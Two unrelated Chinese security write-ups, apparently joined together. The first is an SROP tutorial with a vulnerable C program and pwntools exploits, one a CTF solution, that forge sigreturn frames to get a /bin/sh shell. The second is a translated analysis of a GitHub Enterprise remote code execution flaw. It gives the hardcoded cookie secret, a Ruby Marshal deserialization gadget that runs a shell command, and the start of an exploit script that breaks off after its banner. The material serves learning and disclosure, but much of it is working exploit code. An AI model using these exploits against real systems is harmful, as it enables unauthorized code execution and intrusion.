2\. 使其中rdi设置成“/bin/sh”的地址（这个地址可以是攻击者传到栈上的地址，一般是首先泄露栈地址，然后手动加一个offset找到binsh）。
3\. 使其中rip设置成syscall的内存地址。
4\. 最后将sigFrame栈顶的rt_sigreturn手动设置成sigreturn系统调用代码地址。
此时signal
handler执行完毕，栈指针寄存器sp指向这个伪sigFrame栈顶的rt_sigreturn（这个如何让sp指到我们伪造的sigFrame上因题而异，我们看下面例题讲解时再详细讨论），当signal
handler执行ret指令时，会触发sigreturn系统调用代码。
当sigreturn系统调用执行完毕后，我们伪造的sigFrame也被sigreturn恢复完成，按照我们上面伪sigFrame内部构造，可知sigreturn会恢复出一个shell进程。
总结一下攻击成功的前提是：
1\. 可以通过栈溢出控制栈上的内容（从我体会过的两道示例来看，srop题目的特征是让在栈上溢出很多字节）。
2\. 需要知道栈地址，从而知道如传入的“/bin/sh”字符串的地址。
3\. 需要知道syscall的地址。
4\. 需要知道sigreturn的内存地址。
简单解释一下上面的总结，能控制栈上内容是为了传入我们通过pwntools伪造的sigFrame；知道“/bin/sh”字符串的地址、syscall的地址、sigreturn的内存地址是为了填写到伪sigFrame的相应位置，从而让sigreturn系统调用恢复。
我们从刚刚伪造的恢复成execve系统调用的sigFrame，至让sigreturn触发了一次错误恢复，虽然getshell了，但仅仅是理论上的。做题场景往往还要构造更多sigFrame，首先把栈地址打出来，再触发execve
getshell，但是我们通过伪造sigFrame触发的一次syscall后，控制流就不受控了，怎么办呢？
1\. 对伪造的sigFrame中栈指针寄存器sp进行控制即可。
2\. 将伪造的sigFrame中指令寄存器ip的地址由原来的syscall的地址控制成“syscall；ret” gadget的地址即可。
这样触发伪sigFrame中构造的syscall之后，还会执行一个ret指令，将rsp指向的栈顶处的内容弹到rip中，此时让rsp指向下一个伪造的sigFrame栈顶，这样弹栈时，rip就会是下一个sigFrame
rt_sigreturn的内容，从而再来一次sigreturn系统调用，去恢复下一个伪造的sigFrame，实现相应功能。基本流程如下：
上图中注意部署好rt_sigreturn、rsp、rip这三个位置，rsp指向下一个sigFrame的栈顶，sip指向“syscall; ret”
gadget 的地址（即图片中的 &{syscall; ret}）。
这样通过对rsp的控制，实现了sigFrame链接起来，实现连续系统调用，具体系统调用功能，通过控制rax的值来指定（后面详细探讨），形成SROP攻击。
还有件事，就是我们需要找到两个gadget，一个是sigreturn的地址，一个是syscall; ret的地址。
1\.
sigreturn的地址的话，一般是被动调用的，内核在为进程P保存上下文为sigFrame时，会将sigreturn的地址写在sigFrame的栈顶称为rt_sigreturn。所以系统中会有专用代码调用sigreturn。结论是某些系统可直接在固定地址找到sigreturn代码段，而其他系统尤其开了ASLR后不太容易找到，具体参见开头给出的第二个链接。下面做题的时候，我们再具体分析这个问题。
2\. syscall; ret这个gadget的地址，也是一样某在些系统可直接在固定地址找到，而其他系统尤其开了ASLR后不太容易找到。具体做题再看。
还有件事，sigreturn这个地址不一定是必须的，因为：我们将rax设置为15，在触发syscall，效果和sigreturn一模一样，所以找sigreturn
gadget地址的问题，转变为对rax寄存器的控制。但因为rax既用来放系统调用号也用来放函数的返回值，所以比如可以通过read函数读入字节的数量这个返回值来控制rax的值，从而指定系统调用号。
OK，到这估计大家还是没有对SROP有实操级的认识，接下来我先对[参考链接1](https://xz.aliyun.com/t/5240)中给出的示例进行对sigreturn进行介绍，然后对[参考链接3](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/)中给出的例题进行调试讲解。（这篇文章还真是不短，汗）
以下代码和题目都引自上面三个参考链接，我自己的内容是在对引用内容特定的代码部分进行讲解补充调试，以帮助读者更好理解SROP，这里首先感谢三个参考链接的作者小伙伴的材料，让我理解了SROP。
首先看参考链接1作者给出的示例C代码：
// compiled:
// gcc -g -c -fno-stack-protector srop.c -o srop.o
// ld -e main srop.o -o srop
char global_buf[0x200];
int main()
{
asm(// 读取最多 200 字节
"mov $0, %%rax\n" // sys_read
"mov $0, %%rdi\n" // fd
"lea %0, %%rsi\n" // buf # 这个%0是c内嵌汇编的占位符，代表第44行的global_buf. 所以传入的字符会直接写到global_buf上
"mov $0x200, %%rdx\n" // count
"syscall\n"
// 读取字节数小于 ucontext_t结构体则直接 exit
"cmp $0xf8, %%rax\n"
"jb exit\n"
// 进行恢复上下文
"mov $0, %%rdi\n"
"mov %%rsi, %%rsp\n" // 执行完read操作，让rsp指到global_buf上.因为在这上面我们要写sigFrame，触发sigreturn来恢复这个sigFrame从而getshell. sigFrame的构造pwntools已经给我们准备好了，详见exp.py
"mov $15, %%rax\n" // sys_rt_sigaction
"syscall\n"
"jmp exit\n"
/* split */
"nop\n"
"nop\n"
// syscall 的 symbol，便于查找
"syscall:\n"
"syscall\n"
"jmp exit\n"
// 退出程序
"exit:\n"
"mov $60, %%rax\n"
"mov $0, %%rsi\n"
"syscall\n"
:
: "m" (global_buf)
:
);
}
这个程序思路很简单，整体流程就是读取你的输入，如果大小大于一个sigFrame（ucontext_t结构体）的大小，就直接执行sigreturn（rt_sigreturn）系统调用，如果不是，就直接退出。接下来一段一段讲解这个C代码（直接能看懂的同学可以略过下面解释）：
// compiled:
// gcc -g -c -fno-stack-protector srop.c -o srop.o
// ld -e main srop.o -o srop
这个是编译语句，按着执行就能得到srop这个可执行程序，它是没有依赖和栈保护的。
char global_buf[0x200];
这个是全局变量，存放read进来的字符串，同时也是我们传入伪造sigFrame的地方。
asm(// 读取最多 200 字节
"mov $0, %%rax\n" // sys_read
"mov $0, %%rdi\n" // fd
"lea %0, %%rsi\n" // buf # 这个%0是c内嵌汇编的占位符，代表第44行的global_buf. 所以传入的字符会直接写到global_buf上
"mov $0x200, %%rdx\n" // count
"syscall\n"
// 读取字节数小于 ucontext_t结构体则直接 exit
"cmp $0xf8, %%rax\n"
"jb exit\n"
以上为C语言内嵌汇编，主要是AT&T风格，汇编前四行：
第一行”mov $0, %%rax\n”是让rax值为0，因为read函数的系统调用号为0
第二行”mov $0, %%rdi\n”是让rdi为0，代表标准输入流
第三行”lea %0,
%%rsi\n”中%0是c内嵌汇编语法，代表后面的global_buf，这样read从标准输入流得到的字节会写在global_buf上
第四行”mov $0x200, %%rdx\n”代表读入字节数量上限
第五行触发syscall，执行read调用，读取标准输入流传入的字节。
第六、七行传入的字节数与sigFrame大小（0xf8）比较，小于就退出，不小于就继续往下执行
// 进行恢复上下文
"mov $0, %%rdi\n"
"mov %%rsi, %%rsp\n" // 执行完read操作，让rsp指到global_buf上.因为在这上面我们要写sigFrame，触发sigreturn来恢复这个sigFrame从而getshell. sigFrame的构造pwntools已经给我们准备好了，详见exp.py
"mov $15, %%rax\n" // sys_rt_sigaction
"syscall\n"
"jmp exit\n"
第一行”mov $0, %%rdi\n”指的是置rdi的值为0，应该是sigreturn系统调用需要让rdi为0.
第二行”mov %%rsi,
%%rsp\n”这句比较关键，刚刚我们看到rsi已经指到了global_buf上，我们可在在global_buf上写入伪sigFrame，这句指令是让rsp置为rsi的值，即让rsp也指向global_buf头部，也就是伪sigFrame的头部，也就是rt_sigreturn的位置。
第三行”mov $15, %%rax\n”，将rax值设置为15，即sigreturn的系统调用号
第四行”syscall\n”，触发sigreturn系统调用，此时sigreturn相关代码会根据此时rsp的值，去对rsp所指向的位置进行sigFrame恢复，而此时rsp指向的位置正是我们传入的伪sigFrame的位置，即global_buf头部这个位置，从而按照这个伪sigFrame来进行恢复。
第五行跳到exit标识处。
后面的代码比较简单
// syscall 的 symbol，便于查找
"syscall:\n"
"syscall\n"
"jmp exit\n"
// 退出程序
"exit:\n"
"mov $60, %%rax\n"
"mov $0, %%rsi\n"
"syscall\n"
前两行汇编先随便调调syscall，方便找到syscall的地址。然后就是exit流程，不细说了。
编译上面的C代码后，得到srop程序
可以简单测测，随便输几个字母进去，会直接退出，我就不贴这个截图了，大家自测。
接下来我们要传入更多字符（大于0xf8），即传入伪sigFrame，利用代码如下
from pwn import *
context(
log_level='debug',
arch = "amd64",
binary = "./srop"
)
# the c program is easy. It just read() a string in. It can receive 0x200 max. and then check if the input string is longer than sizeof(ucontext_t) which is also called sigFrame(the size is 0xf8), if not, the program exits. if so, the program set rsp to global_buf and trigger sigreturn directly. and then the sigFrame is recovered by sigreturn syscall, so we got execve syscall executed ending up with a shell.
io = process()
elf = ELF('./srop')
# create debug file
try:
f = open('pid', 'w')
f.write(str(proc.pidof(io)[0]))
f.close()
except Exception as e:
print(e)
str_bin_sh_offset = 0x100
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = elf.symbols['global_buf'] + str_bin_sh_offset # we already know global_buf addr, and we add an offset to get binsh addr
frame.rsi = 0
frame.rdx = 0
frame.rip = elf.symbols['syscall']
io.send(str(frame).ljust(str_bin_sh_offset, "a") + "/bin/sh\x00") # ljust means "a" will be on right side to fill the gap, the true string is on the left.
io.interactive()
os.system('rm -f pid')
讲一下核心部分
str_bin_sh_offset = 0x100
首先给个str_bin_sh_offset，构造的sigFrame就在这个offset内部，然后不够0x100这么大的部分，填一堆“a”，最后在这个offset后面加上“/bin/sh”字符串。这个offset，改成0x101、0x150都行，能装下sigFrame，又不大于本题read函数的最大值0x200即可。
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = elf.symbols['global_buf'] + str_bin_sh_offset # we already know global_buf addr, and we add an offset to get binsh addr
frame.rsi = 0
frame.rdx = 0
frame.rip = elf.symbols['syscall']
然后就是构造伪sigFrame，rax设置成execve调用号
rdi设置成binsh的地址，这里global_buf作为全局变量，我们可以在ida中看到它的地址的，如下图：
可见，global_buf地址为0x600180，代码中elf.sysbols[‘global_buf’]可以达到一样的功能，得到global_buf的地址。所以，rdi是这样设置成binsh的地址的：先找到global_buf头地址，然后加上str_bin_sh_offset，我们在这个位置写上“/bin/sh\x00”即可。
rsi、rdi作为execve的参数写成0
rip写成syscall的地址，用来触发execve系统调用
io.send(str(frame).ljust(str_bin_sh_offset, “a”) + “/bin/sh\x00”) # ljust
means “a” will be on right side to fill the gap, the true string is on the
left.
这段代码，是让read函数读入一段字符串，这段字符串构成为str(frame).ljust(str_bin_sh_offset, “a”) +
“/bin/sh\x00″，首先是一个sigFrame，然后是一堆“a”，最后是“/bin/sh\x00”字符串，保证“/bin/sh\x00”字符串距离global_buf头部距离为0x100，所以使用ljust，如下为具体传入时的具体字节，及最后的触发execve成功getshell：
可见确实发送了0x100+0x8个字节，最后0x8即为“/bin/sh\x00”字符串。
好了，从上面例子中我们看到了手动触发sigreturn，让其恢复我们传入的伪sigFrame，来恢复成一个execve
shell的过程。接下来，做一道2016年-360春秋杯-srop赛题smallest，这道题难度相较于上面示例难度要更大些，因为涉及到了srop链，我会尽量每个细节点都讲到，请不要嫌我啰嗦。
首先讲smallest丢进ida，看到代码相当简单：
怪不得叫smallest，一共就6行汇编：
xor rax, rax
mov edx, 400h
mov rsi, rsp
mov rdi, rax
syscall
retn
第一行置rax为0，即置系统调用号为0，为read的系统调用号
第二行设置edx为400，可以读入0x400个字节，百分百溢出了，而且溢出的空间还挺大，可以考虑srop了
第三行让rsi指向rsp所指向的位置，即让rsi指向当前栈顶，read进来的字符串，直接从栈顶开始覆盖内容
第四行让rdi值为0，即read函数的fd参数为0，代表从标准输入流读入
第五行syscall，触发系统调用，开始进行read
第六行retn，“pop”当前栈顶处内容给rip，从这行可见，rsp所指向的位置就是这段代码的返回地址，即我们往栈顶写什么地址，最后ret的时候，就会跳到这个地址。和通常的栈溢出不一样，没有那些padding的段落，直接上来就是覆盖返回地址。
OK，那怎么利用呢？先贴利用代码，再一段段解释
from pwn import *
from LibcSearcher import *
small = ELF('./smallest')
if args['REMOTE']:
sh = remote('127.0.0.1', 7777)
else:
sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
## set start addr three times
# xor rax, rax
# mov edx, 400h
# mov rsi, rsp
# mov rdi, rax
# syscall
# retn
# the code of smallest just set rsi to rsp, so when read triggered(which is also means syscall executed), we just write things on the top of the stack.
# and then the last retn will pop what rsp is pointing to to rip, so what read() write on the top of the stack will be result in rip to execute.
gdb.attach(sh)
payload = p64(start_addr) * 3
sh.send(payload)
# gdb.attach(sh)
raw_input()
## modify the return addr to start_addr+3
## so that skip the xor rax,rax; then the rax=1
## get stack addr
sh.send('\xb3')
raw_input()
stack_addr = u64(sh.recv()[8:16])
raw_input()
log.success('leak stack addr :' + hex(stack_addr))
raw_input()
## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)
raw_input()
## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)
raw_input()
## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
raw_input()
sh.send(sigreturn)
sh.interactive()
首先说，我在这段利用代码里放了很多raw_input()，就是为了在每次send一段字符串进去后，停住，看看内存当前是什么状态，读者在执行的时候，记得把所有raw_input()，以及最上面的gdb.attach(sh)代码注释掉，才不会卡住。
第一段
from pwn import *
from LibcSearcher import *
small = ELF('./smallest')
if args['REMOTE']:
sh = remote('127.0.0.1', 7777)
else:
sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
例行公事的代码不说了，syscall_ret这个gadget刚好在0x4000BE的位置，start_addr指的是0x4000B0程序的起始位置，每次跳到这里，就会再次执行一遍read操作。具体对应地址，参考下图
接下来一段代码
gdb.attach(sh)
payload = p64(start_addr) * 3
sh.send(payload)
raw_input()
一上来就传入3个start_addr地址到栈顶上，原exp上没有过多解释，很容易让人上来摸不到头脑，我详细跟一下这个过程，这里gdb.attach一定要放在send之前，不然看不到三个start_addr出现在栈顶，有可能只能看到两个。
如上图看到，左侧发送了三个start_addr(0x4000b0)过去，此时我们看到rsp的值为0x7ffc1b477860，该地址即为当前栈顶地址，其存储内容为发来的第一个0x4000b0，因为是64位程序，我们将rsp值依次加8看看是不是三个0x4000b0：
可见，栈顶是连续的三个0x4000b0，没问题。我们看看程序执行到哪里了
可见，read的syscall已执行完毕，三个0x4000b0已send到栈顶，接下来要执行ret指令，将rsp当前所指的内容弹给rip，即程序跳到0x4000b0程序开始的位置再执行一次read函数。另外，请注意这个ret执行完后，栈顶已还剩两个0x4000b0。
可见栈上确实还剩两个0x4000b0，然后程序也回到了0x4000b0位置继续执行一次read函数。
然后我们看下一段利用代码
## modify the return addr to start_addr+3
## so that skip the xor rax,rax; then the rax=1
## get stack addr
sh.send('\xb3')
raw_input()
send了一个字节”\xb3″过去，这是什么意思呢？这段代码利用非常巧妙，让read读一个字节，从而rax作为read的返回值为1，这个1也是write的系统调用号，send的一个字节”\xb3″只覆盖栈顶的第一个0x4000b0的最低位字节，成为0x4000b3（注意是小端序，所以是从最低位字节开始覆盖），这样在本次read结束后，在执行ret指令前，栈顶长这样：
此时，再执行ret指令，rip返回到的位置就是0x4000b3，从而跳过了0x4000b0地址处 xor
rax,rax的指令，避免了rax置零，依旧维持read一个字节后的返回值1。所以，后续如果想让rax为0，就跳回0x4000b0，想让rax为其他值就跳到0x4000b3，避免rax置零。
现在我们执行这个ret指令，来到syscall指令处：
此时执行的syscall指令就是对write函数的系统调用了，会将rsp即栈顶处的内容打出0x400个字节来，我们先不执行，看看现在栈上长什么样：
然后执行这个syscall指令，看看我们接收到了什么：
确实接收到了0x400个字节，并且我们比对一下上面两个图，确实显示write出了栈顶的“第三个”0x4000b0（第一个0x4000b用于再次执行read，第二个覆盖为0x4000b3执行write，第三个也就是这个被write出来了）。第二个8字节也和栈顶的第二个8字节一样，是栈空间的一个地址0x7ffc1b477ef7，这样我们就泄露出了栈空间的一个地址，我们就准备在这里构造伪sigFrame了。
再往下代码：
stack_addr = u64(sh.recv()[8:16])
raw_input()
log.success('leak stack addr :' + hex(stack_addr))
raw_input()
可以看到，我们取栈顶第二个8字节的内容（本次执行值为0x7ffc1b477ef7）作为stack_addr，在这里构建伪sigFrame。
再往下：
## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
payload = p64(start_addr) + 'a' * 8 + str(sigframe)
sh.send(payload)
raw_input()
想说，此时栈顶还有最后一个0x4000b0，刚刚write函数执行完毕，此时即将执行ret指令，再次执行一遍read函数，接收新的输入，覆盖到栈顶，这个内容是什么呢？就是上面这段代码“p64(start_addr)
+ ‘a’ * 8 +
str(sigframe)”，先是start_addr，然后8个“a”占位，然后是一个伪sigFrame。这段payload打进来后，栈顶就又是0x4000b0了，这次read结束，执行后面ret指令前的样子如下：
可见0x4000b0、“aaaaaaaa”还有伪sigFrame都进来了。此时执行ret指令，会再次回到程序第一行汇编，再再执行read：
此时又要开始read了，我们传点什么进去呢？请看下面代码
## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'b' * 7
sh.send(sigreturn)
raw_input()
传了p64(syscall_ret) + ‘b’ * 7进去，先分分析，p64(syscall_ret)
占领了当前栈顶的“aaaaaaaa”位置，7个’b’占领了栈顶第二个8字节的最低7个字节，一共send了15(0xf)个字节，根据上面的图也知道栈顶第二个8字节最高位的一个字节为\x00，所以此时栈顶结构如下：
此时再执行当前的ret指令，便会执行syscall_ret这个“syscall;ret”gadget，而恰恰此时rsp会指向我们上次read时传入的伪sigFrame头部，虽然其前7个字节被覆盖成了’bbbbbbb’，不过没有丝毫影响。另外，值得注意的是，因为read函数读了0xf个字节进来，所以此时rax如图为0xf，这个刚好是sigreturn的系统调用号，所以此时执行syscall_ret
gadget会触发sigreturn对rsp当前所指的伪sigFrame的恢复流程。如下图：
回顾上上个代码，可以知道我们伪造的sigFrame是用来再次恢复成read函数的，区别是rsi指向了泄露的栈地址，rip是’syscall;ret’
gadget，从而再下次传入伪sigFrame就会写到泄露的栈地址位置，这此执行得到的这个栈地址值为0x7ffc1b477ef7。
所以，触发完这个sigreturn syscall之后，会直接恢复成read系统调用，如下图：
这个read我们传点什么进来呢？请看下面代码
## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120 # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_ret
frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'
sh.send(payload)
raw_input()
注意到这，栈顶位置已经是0x7ffc1b477ef7了。
我们首先还是将传入了start_addr（0x4000b0）用于再再再次触发read，用于接收我们即将要发送的最后一段payload，然后是8个”b”用于占位，然后就是我们伪造的execve伪sigFrame了，最后就是在相对0x7ffc1b477ef7处0x120偏移处传入’/bin/sh\x00’。结构如下图：
OK，布局完毕，执行这个ret，再次回到0x4000b0，执行read函数。
老复读机了，这个read我们传点什么进来呢？请看下面代码（最后一段了）
sh.send(sigreturn)
sh.interactive()
故技重施，将sigreturn的gadget传到新的栈顶：
此时再执行ret指令，便会触发syscall，因为rax值为15，那么这个系统调用为sigreturn，便会恢复我们在新的栈顶构造的execve
sigFrame，从而最终getshell：
经过千难万险，我们总算getshell了，最后的最后我总结一下这道题的思路：
1\. 首先打三个重启程序read流程的gadget进来
2\. 第一个read gadget用于接收对第二个read gadget的覆盖，从而将第二个read gadget覆盖成write gadget
3\. 利用变为write的gadget打印出栈上某地址
4\. 触发第三个read gadget，读入一个用于恢复成read sigFrame，其目的是用于将栈顶迁移至刚刚泄露的栈地址处
5\. 传入sigreturn gadget，用于触发刚刚传入的read sigFrame，从而在新的栈顶开始read
6\. 在新的栈顶传入read gadget和execve sigFrame，此时执行完成会再次开启read
7\. 传入sigreturn gadget，用于恢复execve sigFrame，从而getshell
感谢各位读者读到这里，感谢所有参考链接中的各位作者让我明晰SROP攻击。
最后额外补充一点小技巧：
pwndbg总会把内存一样的地址省略号忽略掉，类似如下：
但这个很影响我们看到具体内存的内容，总是需要脑补，怎么办呢？
我找到了pwndbg的源码，读者可在.gdbinit中看到相应的地址，然后在command/文件夹的telescope.py中，可以看到“ Collapse
repeating values”字样，于是找到111行将“if not skip”改为“if skip”，此时就能完整展现内存样貌而不省略显示了 | 社区文章 |
# 【漏洞分析】Github企业版远程代码执行漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：exablue
原文地址：<http://exablue.de/blog/2017-03-15-github-enterprise-remote-code-execution.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：170RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
眼下，几乎人人都在使用GitHub。如果您有大量的绿皮书或者对自己的代码非常偏执，那么不妨运行自己的GitHub。支付$
2500美元，就可以得到一个GitHub企业版，可供10个用户使用一年。实际上，Github企业版就是一个虚拟机，只不过提供了一个功能齐全的GitHub实例而已。尽管有一些边缘的情况下偶尔用到了GitHub.enterprise？调用，但是它运行的是与原始代码库一样的代码库。
所以，让我们干掉它。
**代码的反混淆处理**
当您下载Github企业版时，将会得到一个VirtualBox镜像，你可以将其部署到自己的机器上面。我通过启动随机恢复镜像考察机器的内部情况时，在/data目录里找到了GitHub的代码：
data
├── alambic
├── babeld
├── codeload
├── db
├── enterprise
├── enterprise-manage
├── failbotd
├── git-hooks
├── github
├── git-import
├── gitmon
├── gpgverify
├── hookshot
├── lariat
├── longpoll
├── mail-replies
├── pages
├── pages-lua
├── render
├── slumlord
└── user
不幸的是，这些代码是经过混淆处理的，大部分看起来像这样：
require "ruby_concealer"
__ruby_concealer__ "xFFxB3/xDFHx8AxA7xBF=UxEDx91yxDAxDBxA2qV <more binary yada yada>"
原来，有一个名为ruby_concealer.so的ruby模块，会对二进制字符串执行Zlib :: Inflate ::
inflate，然后利用密钥“This obfuscation is intended to discourage GitHub Enterprise
customers from making modifications to the VM. We know this 'encryption' is
easily broken”进行XOR运算。就像密钥文字所提示的那样，这的确非常用以破解。现在，我们就通过以下工具对代码进行反混淆处理：
#!/usr/bin/ruby
#
# This tool is only used to "decrypt" the github enterprise source code.
#
# Run in the /data directory of the instance.
require "zlib"
require "byebug"
KEY = "This obfuscation is intended to discourage GitHub Enterprise customers "+
"from making modifications to the VM. We know this 'encryption' is easily broken. "
class String
def unescape
buffer = []
mode = 0
tmp = ""
# https://github.com/ruby/ruby/blob/trunk/doc/syntax/literals.rdoc#strings
sequences = {
"a" => 7,
"b" => 8,
"t" => 9,
"n" => 10,
"v" => 11,
"f" => 12,
"r" => 13,
"e" => 27,
"s" => 32,
""" => 34,
"#" => 35,
"\" => 92,
"{" => 123,
"}" => 125,
}
self.chars.each do |c|
if mode == 0
if c == "\"
mode = 1
tmp = ""
else
buffer << c.ord
end
else
tmp << c
if tmp[0] == "x"
if tmp.length == 3
buffer << tmp[1..2].hex
mode = 0
tmp = ""
next
else
next
end
end
if tmp.length == 1 && sequences[tmp]
buffer << sequences[tmp]
mode = 0
tmp = ""
next
end
raise "Unknown sequences: "\#{tmp}""
end
end
buffer.pack("C*")
end
def decrypt
i, plaintext = 0, ''
Zlib::Inflate.inflate(self).each_byte do |c|
plaintext << (c ^ KEY[i%KEY.length].ord).chr
i += 1
end
plaintext
end
end
Dir.glob("**/*.rb").each do |file|
header = "require "ruby_concealer.so"n__ruby_concealer__ ""
len = header.length
File.open(file, "r+") do |fh|
if fh.read(len) == header
puts file
ciphertext = fh.read[0..-1].unescape
plaintext = ciphertext.decrypt
fh.truncate(0)
fh.rewind
fh.write(plaintext)
end
end
end
**企业管理接口**
现在，我们已经得到了反混淆后的代码，自然就可以开始寻找漏洞了。我认为管理控制台将是一个不错的攻击目标。如果你是管理员，你可以添加SSH密钥（用于root权限）、关闭服务等。但对于普通权限的用户来说，其界面如下所示：
毫不奇怪，代码可以从/data/enterprise-manager/current /中找到。
**会话管理**
由于管理接口是一个Rack应用程序，所以首先要做的事情就是查看config.ru文件，以便进一步了解这个应用程序的架构详情，我注意到它使用了Rack ::
Session :: Cookie。就像您从名称中可以猜到的那样，这是一个将会话数据转储到cookie的Rack中间件。
# Enable sessions
use Rack::Session::Cookie,
:key => "_gh_manage",
:path => "/",
:expire_after => 1800, # 30 minutes in seconds
:secret => ENV["ENTERPRISE_SESSION_SECRET"] || "641dd6454584ddabfed6342cc66281fb"
实际上，它在内部完成的工作只有一件，那就是：
**将会话数据序列化为cookie**
当这个Rack应用程序完成时，Rack :: Session :: Cookie将使用下面展示的算法将会话数据保存到Cookie中：
取得应用程序放在env [“rack.session”]的会话哈希值（{“user_id”=> 1234，“admin”=> true}或类似的东西）
运行Marshal.dump将这个ruby哈希值转换为字符串
对生成的字符串进行Base64编码
并附加已经用密钥进行了加盐的数据哈希值，以防止篡改。
将结果保存到_gh_manage cookie中。
对来自cookie的会话数据进行反序列化处理
让我们通过一个例子来仔细考察反序列化的过程：为了从cookie加载数据，Rack :: Session ::
Cookie需要执行相应的操作。例如，将cookie设置为下面的值。
cookie = "BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRTRhYjMwYjIyM2Y5MTMzMGFiMmJj%0AMjdiMDI1O"+
"WY1ODkxMzA2OGNlMGVmOTM0ODA1Y2QwZGRiZGQwYTM3MTEwNzgG%0AOwBGSSIPY3NyZi50b2tlbgY7AFR"+
"JIjFKMzgrbExpUnpkN3ZEazZld1N1eUhY%0AcjQ0akFlc3NjM1ZFVzArYjI3aWdNPQY7AEY%3D%0A--5e"+
"b02d2e1b1845e9f766c2282de2d19dc64d0fb9"
它根据“- -”对字符串进行拆解，处理反向url转义，并使用base64对结果进行解码，从而得到最终的二进制数据和签名。
data, hmac = cookie.split("--")
data = CGI.unescape(data).unpack("m").first
# => data = "x04b{aI"x0Fsession_idx06:x06ETI"E4ab30b223f91330ab2bc27b025
# 9f58913068ce0ef934805cd0ddbdd0a3711078x06;x00FI"x0Fcsrf.tokenx06;x00TI"
# 1J38+lLiRzd7vDk6ewSuyHXr44jAessc3VEW0+b27igM=x06;x00F"
# => hmac = "5eb02d2e1b1845e9f766c2282de2d19dc64d0fb9
然后计算预期的hmac：
secret = "641dd6454584ddabfed6342cc66281fb"
expected_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
如果计算出的哈希值与预期的哈希值相匹配的话，则将其传递给Marshal.load。否则，将其丢弃：
if expected_hmac == hmac
session = Marshal.load(data)
end
# => {"session_id" => "4ab30b223f91330ab2bc27b0259f58913068ce0ef934805cd0ddbdd0a3711078",
# "csrf.token" => "J38+lLiRzd7vDk6ewSuyHXr44jAessc3VEW0+b27igM="}
**漏洞分析**
上面的代码存在两个问题。
ENV
["ENTERPRISE_SESSION_SECRET"]从未进行设置，因此该密钥默认为上述值。您可以给任意Cookie进行签名并根据需要设置会话ID。但这并没有什么帮助，因为会话ID是32个随机字节。
不过，你现在可以将任意数据输入Marshal.load，因为你可以伪造一个有效的签名。与JSON不同，Marshal格式不仅允许使用散列、数组和静态类型，而且还允许使用ruby对象。这就会导致远程代码执行漏洞，这一点将在下面介绍。
**制作漏洞代码**
要想运行任意代码，我们需要生成运行反序列化代码的Marshal.load的输入。为此，我需要精心构造获访问该对象的代码。这需要分两步完成：
**恶意ERb模板**
解析.erb模板的方式是Erubis读取模版并生成一个Erubis ::
Eruby对象，该对象保存有位于@src实例变量中的模板代码。所以如果我们把自己的代码放入那里的话，那么只需要设法调用object.result，我们的代码就会得到运行。
erubis = Erubis::Eruby.allocate
erubis.instance_variable_set :@src, "%x{id > /tmp/pwned}; 1"
# erubis.result would run the code
**一个邪恶的InstanceVariableProxy**
在ActiveSupport中，提供了一种便捷的方式来通知用户某些东西发生了变化。它被称为ActiveSupport :: Deprecation ::
DeprecatedInstanceVariableProxy，我们可以通过它来废弃实例变量。如果在这个废弃的实例变量上运行方法话，它会为你调用new生成的方法并发出警告。这正是我们想要的，具体如下所示：
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erubis, :result)
session = {"session_id" => "", "exploit" => proxy}
如果我现在访问session [“exploit”]，它会调用erubis.result，然后运行嵌入的shell命令id> / tmp /
pwned并返回1。
现在，我们只要把它封装成一个会话cookie，用密钥进行签名，就可以进行完成远程代码执行攻击了。
**漏洞利用**
下面是我提供给GitHub的完整漏洞利用代码，注意，它仅限于教育用途。
#!/usr/bin/ruby
require "openssl"
require "cgi"
require "net/http"
require "uri"
SECRET = "641dd6454584ddabfed6342cc66281fb"
puts ' ___. .__ '
puts ' ____ ___ ________ _ |__ | | __ __ ____ '
puts '_/ __ \\ / /__ | __ | | | | _/ __ '
puts ' ___/ > < / __ | _ |_| | / ___/ '
puts ' ___ >__/_ (____ /___ /____/____/ ___ >'
puts ' / / / / / '
puts ''
puts "github Enterprise RCE exploit"
puts "Vulnerable: 2.8.0 - 2.8.6"
